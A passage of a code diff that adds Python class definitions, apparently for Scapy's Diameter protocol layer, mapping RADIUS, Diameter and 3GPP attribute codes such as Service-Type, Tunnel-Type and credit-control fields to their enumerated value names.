+class AVP_10415_1643 (AVP_VL_V):
+    name = 'AVP A_MSISDN'
+    fields_desc = [AVP_VL_V, ISDN('val', None,
+                                  length_from=lambda pkt:pkt.avpLen - 12)]
+
+
+# AVP enumerated classes (which could not be defined in AvpDefDict dict below)
+##############################################################################
+
+class AVP_0_6 (AVP_FL_NV):
+    name = 'Service-Type'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated('val', None,
+            {
+                0: "Unknown",
+                1: "Login",
+                2: "Framed",
+                3: "Callback-Login",
+                4: "Callback-Framed",
+                5: "Outbound",
+                6: "Administrative",
+                7: "NAS-Prompt",
+                8: "Authenticate-Only",
+                9: "Callback-NAS-Prompt",
+                10: "Call Check",
+                11: "Callback Administrative",
+                12: "Voice",
+                13: "Fax",
+                14: "Modem Relay",
+                15: "IAPP-Register",
+                16: "IAPP-AP-Check",
+                17: "Authorize Only",
+                18: "Framed-Management",
+            })]
+
+
+class AVP_0_7 (AVP_FL_NV):
+    name = 'Framed-Protocol'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated('val', None,
+            {
+                1: "PPP",
+                2: "SLIP",
+                3: "ARAP",
+                4: "Gandalf",
+                5: "Xylogics",
+                6: "X.75",
+                7: "GPRS PDP Context",
+                255: "Ascend-ARA",
+                256: "MPP",
+                257: "EURAW",
+                258: "EUUI",
+                259: "X25",
+                260: "COMB",
+                261: "FR",
+            })]
+
+
+class AVP_0_10 (AVP_FL_NV):
+    name = 'Framed-Routing'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated('val', None,
+            {
+                0: "None",
+                1: "Send routing packets",
+                2: "Listen for routing packets",
+                3: "Send and Listen    ",
+            })]
+
+
+class AVP_0_13 (AVP_FL_NV):
+    name = 'Framed-Compression'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated('val', None, 
+            {0: "None", 2: "IPX header compression", 3: "Stac-LZS compression", })
+    ]
+
+
+class AVP_0_15 (AVP_FL_NV):
+    name = 'Login-Service'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated('val', None,
+            {
+                0: "Telnet",
+                1: "Rlogin",
+                2: "TCP-Clear",
+                3: "PortMaster",
+                4: "LAT",
+                5: "X25-PAD",
+                6: "X25-T3POS",
+                7: "Unassigned",
+            })]
+
+
+class AVP_0_45 (AVP_FL_NV):
+    name = 'Acct-Authentic'
+    avpLen = 12
+    fields_desc = [
+            AVP_FL_NV,
+            Enumerated('val', None, 
+                {0: "None", 1: "RADIUS", 2: "Local", 3: "Remote", 4: "Diameter", })]
+
+
+class AVP_0_61 (AVP_FL_NV):
+    name = 'NAS-Port-Type'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated('val', None,
+            {
+                0: "Async",
+                1: "Sync",
+                2: "ISDN-Sync",
+                3: "ISDN-Async-v120",
+                4: "ISDN-Async-v110",
+                5: "Virtual",
+                6: "PIAFS",
+                7: "HDLC-Clear-Channel",
+                8: "X25",
+                9: "X75",
+                10: "G.3 Fax",
+                11: "SDSL - Symmetric DSL",
+                14: "IDSL - ISDN Digital Subscriber Line",
+                15: "Ethernet",
+                16: "xDSL - Digital Subscriber Line of unknown type",
+                17: "Cable",
+                18: "Wireless - Other",
+                19: "Wireless - IEEE 802.11",
+                20: "Token-Ring",
+                21: "FDDI",
+                22: "Wireless - CDMA2000",
+                23: "Wireless - UMTS",
+                24: "Wireless - 1X-EV",
+                25: "IAPP",
+                26: "FTTP - Fiber to the Premises",
+                27: "Wireless - IEEE 802.16",
+                28: "Wireless - IEEE 802.20",
+                29: "Wireless - IEEE 802.22",
+                30: "PPPoA - PPP over ATM",
+                31: "PPPoEoA - PPP over Ethernet over ATM",
+                32: "PPPoEoE - PPP over Ethernet over Ethernet",
+                33: "PPPoEoVLAN - PPP over Ethernet over VLAN",
+                34: "PPPoEoQinQ - PPP over Ethernet over IEEE 802.1QinQ",
+                35: "xPON - Passive Optical Network",
+                36: "Wireless - XGP",
+            })]
+
+
+class AVP_0_64 (AVP_FL_NV):
+    name = 'Tunnel-Type'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated('val', None,
+            {
+                1: "PPTP",
+                2: "L2F",
+                3: "L2TP",
+                4: "ATMP",
+                5: "VTP",
+                6: "AH",
+                7: "IP-IP-Encap",
+                8: "MIN-IP-IP",
+                9: "ESP",
+                10: "GRE",
+                11: "DVS",
+                12: "IP-in-IP Tunneling",
+                13: "VLAN",
+            })]
+
+
+class AVP_0_65 (AVP_FL_NV):
+    name = 'Tunnel-Medium-Type'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated('val', None,
+            {
+                1: "IPv4",
+                2: "IPv6",
+                3: "NSAP",
+                4: "HDLC",
+                5: "BBN",
+                6: "IEEE-802",
+                7: "E-163",
+                8: "E-164",
+                9: "F-69",
+                10: "X-121",
+                11: "IPX",
+                12: "Appletalk-802",
+                13: "Decnet4",
+                14: "Vines",
+                15: "E-164-NSAP",
+            })]
+
+
+class AVP_0_72 (AVP_FL_NV):
+    name = 'ARAP-Zone-Access'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated('val', None,
+            {
+                1: "Only allow access to default zone",
+                2: "Use zone filter inclusively",
+                3: "Use zone filter exclusively",
+            })]
+
+
+class AVP_0_76 (AVP_FL_NV):
+    name = 'Prompt'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated('val', None, {0: "No Echo", 1: "Echo", })
+    ]
+
+
+class AVP_0_261 (AVP_FL_NV):
+    name = 'Redirect-Host-Usage'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated('val', None,
+            {
+                0: "Don't Care",
+                1: "All Session",
+                2: "All Realm",
+                3: "Realm and Application",
+                4: "All Application",
+                5: "All Host",
+                6: "ALL_USER",
+            })]
+
+
+class AVP_0_271 (AVP_FL_NV):
+    name = 'Session-Server-Failover'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated('val', None, 
+            {0: "REFUSE_SERVICE", 1: "TRY_AGAIN", 2: "ALLOW_SERVICE", 3: "TRY_AGAIN_ALLOW_SERVICE", })]
+
+
+class AVP_0_273 (AVP_FL_NV):
+    name = 'Disconnect-Cause'
+    avpLen = 12
+    fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "REBOOTING", 1: "BUSY", 2: "DO_NOT_WANT_TO_TALK_TO_YOU", })]
+
+
+class AVP_0_274 (AVP_FL_NV):
+    name = 'Auth-Request-Type'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {
+                1: "AUTHENTICATE_ONLY", 2: "AUTHORIZE_ONLY", 3: "AUTHORIZE_AUTHENTICATE", })]
+
+
+class AVP_0_277 (AVP_FL_NV):
+    name = 'Auth-Session-State'
+    avpLen = 12
+    fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "STATE_MAINTAINED", 1: "NO_STATE_MAINTAINED", })]
+
+
+class AVP_0_285 (AVP_FL_NV):
+    name = 'Re-Auth-Request-Type'
+    avpLen = 12
+    fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "AUTHORIZE_ONLY", 1: "AUTHORIZE_AUTHENTICATE", })]
+
+
+class AVP_0_295 (AVP_FL_NV):
+    name = 'Termination-Cause'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated(
+            'val',
+            None,
+            {
+                1: "DIAMETER_LOGOUT",
+                2: "DIAMETER_SERVICE_NOT_PROVIDED",
+                3: "DIAMETER_BAD_ANSWER",
+                4: "DIAMETER_ADMINISTRATIVE",
+                5: "DIAMETER_LINK_BROKEN",
+                6: "DIAMETER_AUTH_EXPIRED",
+                7: "DIAMETER_USER_MOVED",
+                8: "DIAMETER_SESSION_TIMEOUT",
+            })]
+
+
+class AVP_0_345 (AVP_FL_NV):
+    name = 'MIP-Algorithm-Type'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {2: "HMAC-SHA-1", })]
+
+
+class AVP_0_346 (AVP_FL_NV):
+    name = 'MIP-Replay-Mode'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {1: "None", 2: "Timestamps", 3: "Nonces", })]
+
+
+class AVP_0_375 (AVP_FL_NV):
+    name = 'SIP-Server-Assignment-Type'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "NO_ASSIGNMENT",
+                1: "REGISTRATION",
+                2: "RE_REGISTRATION",
+                3: "UNREGISTERED_USER",
+                4: "TIMEOUT_DEREGISTRATION",
+                5: "USER_DEREGISTRATION",
+                6: "TIMEOUT_DEREGISTRATION_STORE_SERVER_NAME",
+                7: "USER_DEREGISTRATION_STORE_SERVER_NAME",
+                8: "ADMINISTRATIVE_DEREGISTRATION",
+                9: "AUTHENTICATION_FAILURE",
+                10: "AUTHENTICATION_TIMEOUT",
+                11: "DEREGISTRATION_TOO_MUCH_DATA",
+            })]
+
+
+class AVP_0_377 (AVP_FL_NV):
+    name = 'SIP-Authentication-Scheme'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {0: "DIGEST", })]
+
+
+class AVP_0_384 (AVP_FL_NV):
+    name = 'SIP-Reason-Code'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "PERMANENT_TERMINATION",
+                1: "NEW_SIP_SERVER_ASSIGNED",
+                2: "SIP_SERVER_CHANGE",
+                3: "REMOVE_SIP_SERVER",
+            })]
+
+
+class AVP_0_387 (AVP_FL_NV):
+    name = 'SIP-User-Authorization-Type'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {
+                0: "REGISTRATION", 1: "DEREGISTRATION", 2: "REGISTRATION_AND_CAPABILITIES", })]
+
+
+class AVP_0_392 (AVP_FL_NV):
+    name = 'SIP-User-Data-Already-Available'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {
+                0: "USER_DATA_NOT_AVAILABLE", 1: "USER_DATA_ALREADY_AVAILABLE", })]
+
+
+class AVP_0_403 (AVP_FL_NV):
+    name = 'CHAP-Algorithm'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {5: "CHAP with MD5", })]
+
+
+class AVP_0_406 (AVP_FL_NV):
+    name = 'Accounting-Auth-Method'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {
+                1: "PAP", 2: "CHAP", 3: "MS-CHAP-1", 4: "MS-CHAP-2", 5: "EAP", 6: "Undefined", 7: "None", })]
+
+
+class AVP_0_416 (AVP_FL_NV):
+    name = 'CC-Request-Type'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {
+                1: "INITIAL_REQUEST", 2: "UPDATE_REQUEST", 3: "TERMINATION_REQUEST", 4: "EVENT_REQUEST", })]
+
+
+class AVP_0_418 (AVP_FL_NV):
+    name = 'CC-Session-Failover'
+    avpLen = 12
+    fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "FAILOVER_NOT_SUPPORTED", 1: "FAILOVER_SUPPORTED", })]
+
+
+class AVP_0_422 (AVP_FL_NV):
+    name = 'Check-Balance-Result'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {0: "ENOUGH_CREDIT", 1: "NO_CREDIT", })]
+
+
+class AVP_0_426 (AVP_FL_NV):
+    name = 'Credit-Control'
+    avpLen = 12
+    fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "CREDIT_AUTHORIZATION", 1: "RE_AUTHORIZATION", })]
+
+
+class AVP_0_427 (AVP_FL_NV):
+    name = 'Credit-Control-Failure-Handling'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {
+                0: "TERMINATE", 1: "CONTINUE", 2: "RETRY_AND_TERMINATE", })]
+
+
+class AVP_0_428 (AVP_FL_NV):
+    name = 'Direct-Debiting-Failure-Handling'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {0: "TERMINATE_OR_BUFFER", 1: "CONTINUE", })]
+
+
+class AVP_0_433 (AVP_FL_NV):
+    name = 'Redirect-Address-Type'
+    avpLen = 12
+    fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "IPV4_ADDRESS", 1: "IPV6_ADDRESS", 2: "URL", 3: "SIP_URI", })]
+
+
+class AVP_0_436 (AVP_FL_NV):
+    name = 'Requested-Action'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {
+                0: "DIRECT_DEBITING", 1: "REFUND_ACCOUNT", 2: "CHECK_BALANCE", 3: "PRICE_ENQUIRY", })]
+
+
+class AVP_0_449 (AVP_FL_NV):
+    name = 'Final-Unit-Action'
+    avpLen = 12
+    fields_desc = [AVP_FL_NV, Enumerated('val', None, {0: "TERMINATE", 1: "REDIRECT", 2: "RESTRICT_ACCESS", })]
+
+
+class AVP_0_450 (AVP_FL_NV):
+    name = 'Subscription-Id-Type'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "END_USER_E164",
+                1: "END_USER_IMSI",
+                2: "END_USER_SIP_URI",
+                3: "END_USER_NAI",
+                4: "END_USER_PRIVATE",
+            })]
+
+
+class AVP_0_452 (AVP_FL_NV):
+    name = 'Tariff-Change-Usage'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {
+                0: "UNIT_BEFORE_TARIFF_CHANGE", 1: "UNIT_AFTER_TARIFF_CHANGE", 2: "UNIT_INDETERMINATE", })]
+
+
+class AVP_0_454 (AVP_FL_NV):
+    name = 'CC-Unit-Type'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "TIME",
+                1: "MONEY",
+                2: "TOTAL-OCTETS",
+                3: "INPUT-OCTETS",
+                4: "OUTPUT-OCTETS",
+                5: "SERVICE-SPECIFIC-UNITS",
+            })]
+
+
+class AVP_0_455 (AVP_FL_NV):
+    name = 'Multiple-Services-Indicator'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {
+                0: "MULTIPLE_SERVICES_NOT_SUPPORTED", 1: "MULTIPLE_SERVICES_SUPPORTED", })]
+
+
+class AVP_0_459 (AVP_FL_NV):
+    name = 'User-Equipment-Info-Type'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {
+                0: "IMEISV", 1: "MAC", 2: "EUI64", 3: "MODIFIED_EUI64", })]
+
+
+class AVP_0_480 (AVP_FL_NV):
+    name = 'Accounting-Record-Type'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {
+                1: "Event Record", 2: "Start Record", 3: "Interim Record", 4: "Stop Record", })]
+
+
+class AVP_0_483 (AVP_FL_NV):
+    name = 'Accounting-Realtime-Required'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {
+                0: "Reserved", 1: "DELIVER_AND_GRANT", 2: "GRANT_AND_STORE", 3: "GRANT_AND_LOSE", })]
+
+
+class AVP_0_494 (AVP_FL_NV):
+    name = 'MIP6-Auth-Mode'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {0: "Reserved", 1: "IP6_AUTH_MN_AAA", })]
+
+
+class AVP_0_513 (AVP_FL_NV):
+    name = 'Protocol'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {
+                1: "ICMP", 2: "IGMP", 4: "IPv4", 6: "TCP", 17: "UDP", 132: "SCTP", })]
+
+
+class AVP_0_514 (AVP_FL_NV):
+    name = 'Direction'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {0: "IN", 1: "OUT", 2: "BOTH", })]
+
+
+class AVP_0_517 (AVP_FL_NV):
+    name = 'Negated'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {0: "False", 1: "True", })]
+
+
+class AVP_0_534 (AVP_FL_NV):
+    name = 'Use-Assigned-Address'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {0: "False", 1: "True", })]
+
+
+class AVP_0_535 (AVP_FL_NV):
+    name = 'Diffserv-Code-Point'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "CS0",
+                8: "CS1",
+                10: "AF11",
+                12: "AF12",
+                14: "AF13",
+                16: "CS2",
+                18: "AF21",
+                20: "AF22",
+                22: "AF23",
+                24: "CS3",
+                26: "AF31",
+                28: "AF32",
+                30: "AF33",
+                32: "CS4",
+                34: "AF41",
+                36: "AF42",
+                38: "AF43",
+                40: "CS5",
+                46: "EF_PHB",
+                48: "CS6",
+                56: "CS7",
+            })]
+
+
+class AVP_0_536 (AVP_FL_NV):
+    name = 'Fragmentation-Flag'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {0: "Don't Fragment", 1: "More Fragments", })]
+
+
+class AVP_0_538 (AVP_FL_NV):
+    name = 'IP-Option-Type'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "end_of_list",
+                1: "nop",
+                2: "security",
+                3: "loose_source_route",
+                4: "timestamp",
+                5: "extended_security",
+                6: "commercial_security",
+                7: "record_route",
+                8: "stream_id",
+                9: "strict_source_route",
+                10: "experimental_measurement",
+                11: "mtu_probe",
+                12: "mtu_reply",
+                13: "flow_control",
+                14: "access_control",
+                15: "encode",
+                16: "imi_traffic_descriptor",
+                17: "extended_IP",
+                18: "traceroute",
+                19: "address_extension",
+                20: "router_alert",
+                21: "selective_directed_broadcast_mode",
+                23: "dynamic_packet_state",
+                24: "upstream_multicast_packet",
+                25: "quick_start",
+                30: "rfc4727_experiment",
+            })]
+
+
+class AVP_0_541 (AVP_FL_NV):
+    name = 'TCP-Option-Type'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "EOL",
+                1: "NOP",
+                2: "MSS",
+                3: "WScale",
+                4: "SAckOK",
+                5: "SAck",
+                8: "Timestamp",
+                14: "AltChkSum",
+                15: "AltChkSumOpt",
+                25: "Mood",
+            })]
+
+
+class AVP_0_546 (AVP_FL_NV):
+    name = 'ICMP-Type-Number'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "echo-reply",
+                3: "dest-unreach",
+                4: "source-quench",
+                5: "redirect",
+                8: "echo-request",
+                9: "router-advertisement",
+                10: "router-solicitation",
+                11: "time-exceeded",
+                12: "parameter-problem",
+                13: "timestamp-request",
+                14: "timestamp-reply",
+                15: "information-request",
+                16: "information-response",
+                17: "address-mask-request",
+                18: "address-mask-reply",
+            })]
+
+
+class AVP_0_547 (AVP_FL_NV):
+    name = 'ICMP-Code'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {0: "TBD", })]
+
+
+class AVP_0_570 (AVP_FL_NV):
+    name = 'Timezone-Flag'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV, Enumerated('val', None, {0: "UTC", 1: "LOCAL", 2: "OFFSET", })]
+
+
+class AVP_0_575 (AVP_FL_NV):
+    name = 'QoS-Semantics'
+    avpLen = 12
+    fields_desc = [
+        AVP_FL_NV,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "QoS_Desired",
+                1: "QoS_Available",
+                2: "QoS_Delivered",
+                3: "Minimum_QoS",
+                4: "QoS_Authorized",
+            })]
+
+
+class AVP_10415_500 (AVP_FL_V):
+    name = 'Abort-Cause'
+    avpLen = 16
+    fields_desc = [AVP_FL_V,
+                  Enumerated('val',
+                             None,
+                             {0: "BEARER_RELEASED",
+                              1: "INSUFFICIENT_SERVER_RESOURCES",
+                              2: "INSUFFICIENT_BEARER_RESOURCES",
+                              })]
+
+
+class AVP_10415_511 (AVP_FL_V):
+    name = 'Flow-Status'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "ENABLED-UPLINK", 1: "ENABLED-DOWNLINK", 2: "ENABLED", 3: "DISABLED", 4: "REMOVED", })]
+
+
+class AVP_10415_512 (AVP_FL_V):
+    name = 'Flow-Usage'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NO_INFORMATION", 1: "RTCP", 2: "AF_SIGNALLING", })]
+
+
+class AVP_10415_513 (AVP_FL_V):
+    name = 'Specific-Action'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                1: "CHARGING_CORRELATION_EXCHANGE",
+                2: "INDICATION_OF_LOSS_OF_BEARER",
+                3: "INDICATION_OF_RECOVERY_OF_BEARER",
+                4: "INDICATION_OF_RELEASE_OF_BEARER",
+                6: "IP-CAN_CHANGE",
+                7: "INDICATION_OF_OUT_OF_CREDIT",
+                8: "INDICATION_OF_SUCCESSFUL_RESOURCES_ALLOCATION",
+                9: "INDICATION_OF_FAILED_RESOURCES_ALLOCATION",
+                10: "INDICATION_OF_LIMITED_PCC_DEPLOYMENT",
+                11: "USAGE_REPORT",
+                12: "ACCESS_NETWORK_INFO_REPORT",
+            })]
+
+
+class AVP_10415_520 (AVP_FL_V):
+    name = 'Media-Type'
+    avpLen = 16
+    fields_desc = [AVP_FL_V,
+                  Enumerated('val',
+                             None,
+                             {0: "AUDIO",
+                              1: "VIDEO",
+                              2: "DATA",
+                              3: "APPLICATION",
+                              4: "CONTROL",
+                              5: "TEXT",
+                              6: "MESSAGE",
+                              4294967295: "OTHER",
+                              })]
+
+
+class AVP_10415_523 (AVP_FL_V):
+    name = 'SIP-Forking-Indication'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "SINGLE_DIALOGUE", 1: "SEVERAL_DIALOGUES", })]
+
+
+class AVP_10415_527 (AVP_FL_V):
+    name = 'Service-Info-Status'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "FINAL_SERVICE_INFORMATION", 1: "PRELIMINARY_SERVICE_INFORMATION", })]
+
+
+class AVP_10415_529 (AVP_FL_V):
+    name = 'AF-Signalling-Protocol'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "NO_INFORMATION", 1: "SIP", })]
+
+
+class AVP_10415_533 (AVP_FL_V):
+    name = 'Rx-Request-Type'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "INITIAL_REQUEST", 1: "UPDATE_REQUEST", })]
+
+
+class AVP_10415_536 (AVP_FL_V):
+    name = 'Required-Access-Info'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "USER_LOCATION", 1: "MS_TIME_ZONE", })]
+
+
+class AVP_10415_614 (AVP_FL_V):
+    name = 'Server-Assignment-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "NO_ASSIGNMENT",
+                1: "REGISTRATION",
+                2: "RE_REGISTRATION",
+                3: "UNREGISTERED_USER",
+                4: "TIMEOUT_DEREGISTRATION",
+                5: "USER_DEREGISTRATION",
+                6: "TIMEOUT_DEREGISTRATION_STORE_SERVER_NAME",
+                7: "USER_DEREGISTRATION_STORE_SERVER_NAME",
+                8: "ADMINISTRATIVE_DEREGISTRATION",
+                9: "AUTHENTICATION_FAILURE",
+                10: "AUTHENTICATION_TIMEOUT",
+                11: "DEREGISTRATION_TOO_MUCH_DATA",
+                12: "AAA_USER_DATA_REQUEST",
+                13: "PGW_UPDATE",
+            })]
+
+
+class AVP_10415_616 (AVP_FL_V):
+    name = 'Reason-Code'
+    avpLen = 16
+    fields_desc = [AVP_FL_V,
+                   Enumerated('val',
+                              None,
+                              {0: "PERMANENT_TERMINATION",
+                               1: "NEW_SERVER_ASSIGNED",
+                               2: "SERVER_CHANGE",
+                               3: "REMOVE_S-CSCF",
+                               })]
+
+
+class AVP_10415_623 (AVP_FL_V):
+    name = 'User-Authorization-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "REGISTRATION", 1: "DE_REGISTRATION", 2: "REGISTRATION_AND_CAPABILITIES", })]
+
+
+class AVP_10415_624 (AVP_FL_V):
+    name = 'User-Data-Already-Available'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "USER_DATA_NOT_AVAILABLE", 1: "USER_DATA_ALREADY_AVAILABLE", })]
+
+
+class AVP_10415_633 (AVP_FL_V):
+    name = 'Originating-Request'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "ORIGINATING", })]
+
+
+class AVP_10415_638 (AVP_FL_V):
+    name = 'Loose-Route-Indication'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "LOOSE_ROUTE_NOT_REQUIRED", 1: "LOOSE_ROUTE_REQUIRED", })]
+
+
+class AVP_10415_648 (AVP_FL_V):
+    name = 'Multiple-Registration-Indication'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "NOT_MULTIPLE_REGISTRATION", 1: "MULTIPLE_REGISTRATION", })]
+
+
+class AVP_10415_650 (AVP_FL_V):
+    name = 'Session-Priority'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "PRIORITY-0", 1: "PRIORITY-1", 2: "PRIORITY-2", 3: "PRIORITY-3", 4: "PRIORITY-4", })]
+
+
+class AVP_10415_652 (AVP_FL_V):
+    name = 'Priviledged-Sender-Indication'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "NOT_PRIVILEDGED_SENDER", 1: "PRIVILEDGED_SENDER", })]
+
+
+class AVP_10415_703 (AVP_FL_V):
+    name = 'Data-Reference'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "RepositoryData",
+                1: "Undefined",
+                2: "Undefined",
+                3: "Undefined",
+                4: "Undefined",
+                5: "Undefined",
+                6: "Undefined",
+                7: "Undefined",
+                8: "Undefined",
+                9: "Undefined",
+                10: "IMSPublicIdentity",
+                11: "IMSUserState",
+                12: "S-CSCFName",
+                13: "InitialFilterCriteria",
+                14: "LocationInformation",
+                15: "UserState",
+                16: "ChargingInformation",
+                17: "MSISDN",
+                18: "PSIActivation",
+                19: "DSAI",
+                20: "Reserved",
+                21: "ServiceLevelTraceInfo",
+                22: "IPAddressSecureBindingInformation",
+                23: "ServicePriorityLevel",
+                24: "SMSRegistrationInfo",
+                25: "UEReachabilityForIP",
+                26: "TADSinformation",
+                27: "STN-SR",
+                28: "UE-SRVCC-Capability",
+                29: "ExtendedPriority",
+                30: "CSRN",
+                31: "ReferenceLocationInformation",
+            })]
+
+
+class AVP_10415_705 (AVP_FL_V):
+    name = 'Subs-Req-Type'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "Subscribe", 1: "Unsubscribe", })]
+
+
+class AVP_10415_706 (AVP_FL_V):
+    name = 'Requested-Domain'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "CS-Domain", 1: "PS-Domain", })]
+
+
+class AVP_10415_707 (AVP_FL_V):
+    name = 'Current-Location'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
+                0: "DoNotNeedInitiateActiveLocationRetrieval", 1: "InitiateActiveLocationRetrieval", })]
+
+
+class AVP_10415_708 (AVP_FL_V):
+    name = 'Identity-Set'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V,
+        Enumerated(
+            'val',
+            None,
+            {
+                0: "ALL_IDENTITIES",
+                1: "REGISTERED_IDENTITIES",
+                2: "IMPLICIT_IDENTITIES",
+                3: "ALIAS_IDENTITIES",
+            })]
+
+
+class AVP_10415_710 (AVP_FL_V):
+    name = 'Send-Data-Indication'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "USER_DATA_NOT_REQUESTED", 1: "USER_DATA_REQUESTED", })]
+
+
+class AVP_10415_712 (AVP_FL_V):
+    name = 'One-Time-Notification'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "ONE_TIME_NOTIFICATION_REQUESTED", })]
+
+
+class AVP_10415_714 (AVP_FL_V):
+    name = 'Serving-Node-Indication'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {0: "ONLY_SERVING_NODES_REQUIRED", })]
+
+
+class AVP_10415_717 (AVP_FL_V):
+    name = 'Pre-paging-Supported'
+    avpLen = 16
+    fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PREPAGING_NOT_SUPPORTED", 1: "PREPAGING_SUPPORTED", })]
+
+
+class AVP_10415_718 (AVP_FL_V):
+    name = 'Local-Time-Zone-Indication'
+    avpLen = 16
+    fields_desc = [
+        AVP_FL_V, Enumerated('val', None, {
